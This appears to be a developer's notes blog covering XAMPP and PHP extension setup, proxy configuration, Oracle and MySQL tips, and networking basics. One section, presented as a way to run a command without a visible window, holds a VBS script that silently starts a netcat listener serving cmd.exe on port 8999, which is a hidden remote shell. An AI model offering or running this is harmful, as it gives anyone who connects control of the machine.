xampp: install & enable php_memcache on Window

1. Download the library that map with your PHP version.  (Ex: 5.6.x)

Download here: http://windows.php.net/downloads/pecl/releases/memcache/3.0.8/
- XAMPP run in 32 bit. So, I choose this file: php_memcache-3.0.8-5.6-ts-vc11-x86.zip

2. Unzip and copy 2 files: php_memcache.dll & php_memcache.pdb into "ext" folder of php.
Ex: my folder is "F:\xampp\php\ext"

3. Restart apache on XAMPP

4. Test :
    php -i | findstr "memcache"

Note: 
- If you see this warning message: "PHP Warning:  PHP Startup: memcache: Unable to initialize module".
Please check your PHP version, then try to download another "php_memcache" package.

AH01630: client denied by server configuration on mac os x

1. Configure vhost

sudo vi /Applications/XAMPP/etc/extra/httpd-vhosts.conf

Listen 8000
<VirtualHost localhost:8000>
        #ServerName test.com
        DocumentRoot "/Volumes/data/projects/magento/project1/"

        <Directory "/Volumes/data/projects/magento/project1/">
                Options Indexes FollowSymLinks IncludesNoExec
                AllowOverride All
                <LimitExcept GET POST HEAD >
                        Deny from all
                </LimitExcept>
                Require all granted
        </Directory>
</VirtualHost>

2. Configure httpd.conf 
- Load vhost configuration: find & uncomment line below: 
# Virtual hosts
Include etc/extra/httpd-vhosts.conf
- Find & configure User and Group param as below
User yourUser
Group admin


xampp - php - install intl pecl extension on MAC (OSX)

Magento 2 (M2) require this extension of php for installation.
On window, just enable php_intl.dll but on MAC, it may be more difficult than i think :)

1. Check which php path
user$ which php

2. If you are using xampp on mac it should be
/Applications/XAMPP/xamppfiles/bin/php
but if its
/usr/bin/php
you need to change your OSx php

user$ PATH="/Applications/XAMPP/xamppfiles/bin:${PATH}"
user$ php -v
PHP 5.6.24 (cli) (built: Aug 26 2016 05:57:56) 
Copyright (c) 1997-2016 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
user$ which php
/Applications/XAMPP/xamppfiles/bin/php

3. Install brew
user$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

4. Install icu4c
user$: brew install icu4c

5. Install autoconf
user$  brew install autoconf

6. Install Intl via PECL
user$ cd <your xampp path>/bin
user$ sudo ./pecl update-channels
user$ sudo ./pecl install intl

7. You can check if Intl was installed successfully
user$ cd <your xampp path>/bin
user$ ./php -m | grep intl  
# it return 'intl'

set proxy to run composer, npm, bower and git


Nodejs:
npm config set proxy http://192.168.193.23:3128
npm config set https-proxy http://192.168.193.23:3128

bower: lúc dùng bower install
set thêm trong file .bowerrc
{
"proxy":"http://192.168.193.23:3128",
"https-proxy":"http://192.168.193.23:3128"
}

git:
git config --global http.proxy 192.168.193.23:3128

Composer:
set HTTP_PROXY=http://192.168.193.23:3128
set HTTPS_PROXY=http://192.168.193.23:3128

Oracle Case Insensitive Sorts & Compares

Features of Oracle 10gR2 but this article is very useful for me. It explain very clearly about case insensitive
Here is the content of article
Thank you! Natalka Roshak.

To get us started, here's a simple sample table with a few rows in it.
SQL> select * from invoice_demo order by invoice_id
SQL> /

INVOICE_ID SUPPLIER_NAME
---------- ------------------------------
      1000 Max Books
      1001 MAX BOOKS
      1002 max books
      1003 janus pet supply

mysql - create partition by date range



CREATE TABLE `register_log` (
`id`  bigint(20) NOT NULL AUTO_INCREMENT ,
`msisdn`  varchar(15) NOT NULL ,
`reg_time`  datetime NULL DEFAULT NULL ,
PRIMARY KEY (`id`,`reg_time`),
INDEX `msisdn_idx` (`msisdn`, `reg_time`) USING BTREE 
)
ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci
PARTITION BY RANGE( TO_DAYS(reg_time) ) 
(
 PARTITION p20160601 VALUES LESS THAN (TO_DAYS('2016-06-01')),
 PARTITION p20160701 VALUES LESS THAN (TO_DAYS('2016-07-01')),
 PARTITION p20160801 VALUES LESS THAN (TO_DAYS('2016-08-01')),
 PARTITION p20160901 VALUES LESS THAN (TO_DAYS('2016-09-01')),
 PARTITION p20161001 VALUES LESS THAN (TO_DAYS('2016-10-01')),
 PARTITION p20161101 VALUES LESS THAN (TO_DAYS('2016-11-01')),
 PARTITION p20161201 VALUES LESS THAN (TO_DAYS('2016-12-01')),
 PARTITION p20170101 VALUES LESS THAN (TO_DAYS('2017-01-01')),
 PARTITION p20170201 VALUES LESS THAN (TO_DAYS('2017-02-01')),
 PARTITION p20170301 VALUES LESS THAN (TO_DAYS('2017-03-01')),
 PARTITION p20170401 VALUES LESS THAN (TO_DAYS('2017-04-01')),
 PARTITION p20170501 VALUES LESS THAN (TO_DAYS('2017-05-01')),
 PARTITION p20170601 VALUES LESS THAN (TO_DAYS('2017-06-01')),
 PARTITION p20170701 VALUES LESS THAN (TO_DAYS('2017-07-01')),
 PARTITION p20170801 VALUES LESS THAN (TO_DAYS('2017-08-01')),
 PARTITION p20170901 VALUES LESS THAN (TO_DAYS('2017-09-01')),
 PARTITION p20171001 VALUES LESS THAN (TO_DAYS('2017-10-01')),
 PARTITION p20171101 VALUES LESS THAN (TO_DAYS('2017-11-01')),
 PARTITION p20171201 VALUES LESS THAN (TO_DAYS('2017-12-01')),
 PARTITION p20180101 VALUES LESS THAN (TO_DAYS('2018-01-01')),
 PARTITION p20180201 VALUES LESS THAN (TO_DAYS('2018-02-01')),
 PARTITION p20180301 VALUES LESS THAN (TO_DAYS('2018-03-01')),
 PARTITION p20180401 VALUES LESS THAN (TO_DAYS('2018-04-01')),
 PARTITION p20180501 VALUES LESS THAN (TO_DAYS('2018-05-01')),
 PARTITION p20180601 VALUES LESS THAN (TO_DAYS('2018-06-01')),
 PARTITION p20180701 VALUES LESS THAN (TO_DAYS('2018-07-01')),
 PARTITION p20180801 VALUES LESS THAN (TO_DAYS('2018-08-01')),
 PARTITION p20180901 VALUES LESS THAN (TO_DAYS('2018-09-01')),
 PARTITION p20181001 VALUES LESS THAN (TO_DAYS('2018-10-01')),
 PARTITION p20181101 VALUES LESS THAN (TO_DAYS('2018-11-01')),
 PARTITION p20181201 VALUES LESS THAN (TO_DAYS('2018-12-01')),
 PARTITION p20190101 VALUES LESS THAN (TO_DAYS('2019-01-01')),
 PARTITION p20190201 VALUES LESS THAN (TO_DAYS('2019-02-01')),
 PARTITION p20190301 VALUES LESS THAN (TO_DAYS('2019-03-01')),
 PARTITION p20190401 VALUES LESS THAN (TO_DAYS('2019-04-01')),
 PARTITION p20190501 VALUES LESS THAN (TO_DAYS('2019-05-01')),
 PARTITION p20190601 VALUES LESS THAN (TO_DAYS('2019-06-01')),
 PARTITION p20190701 VALUES LESS THAN (TO_DAYS('2019-07-01')),
 PARTITION p20190801 VALUES LESS THAN (TO_DAYS('2019-08-01')),
 PARTITION p20190901 VALUES LESS THAN (TO_DAYS('2019-09-01')),
 PARTITION p20191001 VALUES LESS THAN (TO_DAYS('2019-10-01')),
 PARTITION p20191101 VALUES LESS THAN (TO_DAYS('2019-11-01')),
 PARTITION p20191201 VALUES LESS THAN (TO_DAYS('2019-12-01'))
  );

Linux - Can't run Bash script .sh created on window system

I have a very simple .sh file, it contains some delete command to delete some files.
I create this file on Window then upload to Linux server to run.
I've already change Execute mode for this file but can not run it.

This is the important reason & an important experience :)

Because my file is created on window, so it will be saved with window format --> You have to convert it to Linux format if you want to run it.

- Open your file in Linux server:  vi  yourfile.sh
- Run this command to convert     :set fileformat=unix

Insert unicode character into Oracle

1. Check & set some database parameters

    select * from nls_database_parameters where parameter like '%SET';

2. Set environment in your PC or your Server (important) 

2.1. Your PC (window) 
- Right click to MyComputer > Properties > Advance system settings > Environment variables > system variables
- Click new, add new variable:
    name: NLS_LANG
    value: AMERICAN_AMERICA.AL32UTF8

- Try to log out/ log in again or restart your PC

2.2. Your linux server
Run command: 
   export NLS_LANG=AMERICAN_AMERICA.AL32UTF8

Or insert this command at the end of   /etc/profile

Configure at the end of file: php/etc/php-fpm.conf 
env[NLS_LANG] = $NLS_LANG

Restart php-fpm 


Enable php_oci8.dll on window

Because xampp does not have 64bit version for window
So, here is the solution to resolve some issues below:
1. Warning: PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - %1 is not a valid Win32 application.
2. PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - The specified module could not be found.

Solution: 
1. Download oracle instanceclient 32bit
http://www.oracle.com/technetwork/topics/winsoft-085727.html
(instantclient-basic-nt-12.1.0.2.0.zip)

2. Extract instantclient (Ex: D:\instantclient_12_1)

3. Configure Windows PATH environment variable, add more:
D:\xampp\php\ext;D:\instantclient_12_1

4. Configure php.ini, enable extension php_oci.dll
extension=php_oci8.dll       (remove ; character)
Note: check your oracleclient version (11g, 12c, ...), if cannot enable php_oci8, try to download files from here: http://windows.php.net/downloads/pecl/releases/oci8/2.0.8/php_oci8-2.0.8-5.6-ts-vc11-x86.zip
extract those files to xampp/php/ext/ folder, then restart apache again

5. Restart xampp or restart PC (if necessary)

6. Check again
C:\Users\namdt5>php -m | find "oci"
oci8

Done.


run a command without open a command window

Use notepad, create a file such as: test.vbs
Content of the file:

Set oShell = CreateObject ("Wscript.Shell") 

Dim strArgs
strArgs = "F:\programs\nc\nc.exe -nlvp 8999 -e cmd.exe"
oShell.Run strArgs, 0, false


Refer:
http://msdn.microsoft.com/en-us/library/d5fk67ky.aspx
http://superuser.com/questions/140047/how-to-run-a-batch-file-without-launching-a-command-window

http://www.k4linux.com/2015/08/kali-linux-20-tutorials-metasploit-first-run.html

Access windows shared folders from Linux

You’ll need the cifs-utils package in order to mount SMB shares:

     sudo apt-get install cifs-utils

After that, just make a directory and mount the share to it. In this example, we will mount the folder to our Desktop for easy access.

     mkdir /path/to/mount_folder
     sudo mount.cifs //IP_of_winPC/Share   /path/to/mount_folder  -o user=windowUser

Then enter password & enjoy :) 
     cd /path/to/mount_folder

IPv4 datagram structure


Note: 
1. Total Length

This 16-bit field defines the entire packet size, including header and data, in bytes. The minimum-length packet is 20 bytes (20-byte header + 0 bytes data) and the maximum is 65,535 bytes — the maximum value of a 16-bit word. All hosts are required to be able to reassemble datagrams of size up to 576 bytes, but most modern hosts handle much larger packets. Sometimes subnetworks impose further restrictions on the packet size, in which case datagrams must be fragmented. Fragmentation is handled in either the host or router in IPv4. 

2. Identification

This field is an identification field and is primarily used for uniquely identifying the group of fragments of a single IP datagram. Some experimental work has suggested using the ID field for other purposes, such as for adding packet-tracing information to help trace datagrams with spoofed source addresses,[11] but RFC 6864 now prohibits any such use. 

3. Flags

A three-bit field follows and is used to control or identify fragments. They are (in order, from high order to low order):
bit 0: Reserved; must be zero.[note 1]
bit 1: Don't Fragment (DF)
bit 2: More Fragments (MF)


Refer:


OSI model

Enterprise Architect - skill & experience

1. User (Role-Based) Security
User security is included in the Corporate, Business and Software Engineering, Systems Engineering and Ultimate editions. Trial users can enable user security on a project, by entering the following key: {C27378C8-6CD8-4efa-92F8-4E0E4F1A8B65}

Refer: http://www.sparxsystems.com/resources/corporate/

2. Create a project in Mysql DB
http://www.sparxsystems.com/enterprise_architect_user_guide/12/projects_and_teams/upsizingtomysql.html


Các lệnh quản lý Mysql - Mysql manager command

1. show big tables in a database

2. show slave status \G
3. Master
   show master status;
   reset master;    -- use to reset master

4. show table status;
5. show create database db_name;

6. Grant privileges:
Ex:
GRANT SELECT, INSERT, DELETE, UPDATE, INDEX, LOCK TABLES, CREATE, EXECUTE  ON db_name.* TO 'db_user'@'%' IDENTIFIED BY 'password';

7. Create random data base on a list values
update your_table_name set method = (SELECT ELT(0.5 + RAND() * 4, 'VALUE_1', 'VALUE_2', 'VALUE_3', 'VALUE_4') )

8.